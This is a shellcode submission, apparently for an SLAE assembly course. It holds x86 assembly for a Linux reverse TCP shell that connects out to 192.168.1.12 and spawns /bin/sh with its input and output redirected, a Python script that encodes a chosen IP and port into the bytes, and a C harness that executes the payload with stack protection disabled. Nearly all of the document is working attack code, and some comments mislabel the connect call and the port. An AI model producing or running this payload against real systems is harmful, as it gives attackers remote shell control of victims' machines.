; Title: Linux/x86 - Reverse TCP Shellcode ( 114 bytes )
; Author:   Stylianos Voukatas
; Website:  https://vostdev.wordpress.com/
; Date:   2020-12-30
; Tested on: Linux ubuntu 5.4.0-42-generic #46~18.04.1-Ubuntu x86_64
; 
; Purpose:  Assignment 2 for SLAE
; SLAE:     http://securitytube-training.com/onlinecourses/securitytube-linux-assembly-expert/

; Student ID: PA-27669
;
; Shellcode-length: 114

;-------------------------------------- ASM --------------------------------------

global _start      

section .text
_start:

  ; set registers  to zero
  xor eax, eax
  xor ebx, ebx
  xor ecx, ecx
  xor edx, edx
  
  ;socket section
  mov ax, 0x167  ; set num for socket interrupt
  mov bl, 0x02  ; set domain IPv4 Protocol, try also 0x00 for both v4 and v6, also one less instruction
  mov cl, 0x01  ; set type
  ; edx is zero    ; set protocol, leave it 0 so it will select on its own based on the type

  int 0x80  ; interrupt for socket()


  ; eax will hold our file descriptor (fd)
  mov esi, eax  ; store fd  

; connect section
  
    ; construct the struct sockaddr_in

  ; prepare eax for ip addr XOR, set a mask
  mov eax, 0xffffffff
  push edx  ; padding 4 bytes
  push edx  ; padding 4 bytes

  ; address 192.168.1.12 is in little endian 0xc01a8c0
  ; we XOR the address using a mask of 0xffffffff and we get 0xf3fe573f
  ; in order to restore the initial value we need to XOR again with the mask
  ; this is done to avoid null characters in case our ip addr contain 0
  xor eax, 0xf3fe573f 
  push eax  ; address field, set to 192.168.1.12, in little endian format 


  ; same convertion for the port number
  
  mov eax, 0xffffffff
  xor ax, 0xc6fa  ; port number 1337 after mask applied in little endian
  push ax
  push word 0x02  ; address family

  mov ecx, esp  ; save the struct address in stack

  mov dl, 0x10  ; size of struct, 16 bytes (padding + address + port + family)

  mov ebx, esi  ; set fd

  xor eax, eax
  mov ax, 0x016a  ; set num for bind interrupt

  int 0x80

  ; check if connect succeed

  test eax, eax  ; if not zero then an error occured
  jnz exit  


  ; dup2 section
  xor ecx, ecx
  mov cl, 0x3  ; prepare for loop
  xor eax, eax


dup_loop:
      ; ebx has the fd from the previous call
      ; duplicate fd for stdin, stdout, stderr
  mov al, 0x3f
  
  dec cl
  int 0x80
  
  jnz dup_loop


  ; execve section

  xor eax, eax
  
  push eax  ; push \0 in stack

  ; /bin//sh  
  push 0x68732f2f
  push 0x6e69622f

  mov ebx, esp

  push eax  ; push 0 in stack
  mov edx, esp

  push ebp  ; push the address of /bin//sh in stack

  mov ecx, esp  ; put the address of args in ecx


  mov al, 0xb
  int 0x80


exit:

  xor eax, eax
  xor ebx, ebx
  mov al, 0x01
  mov bl, 0x07  ; just a random number as an exit code :)
  
  int 0x80

;-------------------------------------- ASM --------------------------------------

Script to automaticaly produce the shellcode, set ip and port

;-------------------------------------- Python -----------------------------------
#!/usr/bin/python

from operator import xor


# set ip and port
ip = "192.168.1.12"
#port = "31337"
#ip = '127.0.0.1'
port = '8888'


ip_in_xored_bytes = ''
port_in_xored_bytes = ''


shell_code_1 = "\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\\x66\\xb8\\x67\\x01\\xb3\\x02\\xb1\\x01\\xcd\\x80\\x89\\xc6\\xb8\\xff\\xff\\xff\\xff\\x52\\x52\\x35"

#ip

shell_code_2 = "\\x50\\xb8\\xff\\xff\\xff\\xff\\x66\\x35"

#port

shell_code_3 = "\\x66\\x50\\x66\\x6a\\x02\\x89\\xe1\\xb2\\x10\\x89\\xf3\\x31\\xc0\\x66\\xb8\\x6a\\x01\\xcd\\x80\\x85\\xc0\\x75\\x27\\x31\\xc9\\xb1\\x03\\x31\\xc0\\xb0\\x3f\\xfe\\xc9\\xcd\\x80\\x75\\xf8\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x89\\xe2\\x55\\x89\\xe1\\xb0\\x0b\\xcd\\x80\\x31\\xc0\\x31\\xdb\\xb0\\x01\\xb3\\x07\\xcd\\x80"

for byte in ip.split("."):
        ip_in_xored_bytes += "\\x" + "{:x}".format(xor(int(byte),0xff))


port_in_xored_bytes += "{:04x}".format(xor(int(port),0xffff))
port_xored_formated = "\\x" + port_in_xored_bytes[:2] + "\\x" + port_in_xored_bytes[2:]

print "ip:", ip
print "xored ip: ", ip_in_xored_bytes
print "port:", port
print "xored port: ", port_xored_formated
print ""
shell_code = shell_code_1 + ip_in_xored_bytes + shell_code_2 + port_xored_formated + shell_code_3
print "ShellCode:"
print shell_code

;-------------------------------------- Python ------------------------------------

C program to test the payload
gcc shellcode.c -o shellcode -fno-stack-protector -z execstack -m32

;-------------------------------------- Paylod test -------------------------------
#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc6\xb8\xff\xff\xff\xff\x52\x52\x35\x3f\x57\xfe\xf3\x50\xb8\xff\xff\xff\xff\x66\x35\xdd\x47\x66\x50\x66\x6a\x02\x89\xe1\xb2\x10\x89\xf3\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x27\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\xfe\xc9\xcd\x80\x75\xf8\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x55\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x31\xdb\xb0\x01\xb3\x07\xcd\x80";
main()
{

  printf("Shellcode Length:  %d\n", strlen(code));

  int (*ret)() = (int(*)())code;

  ret();

}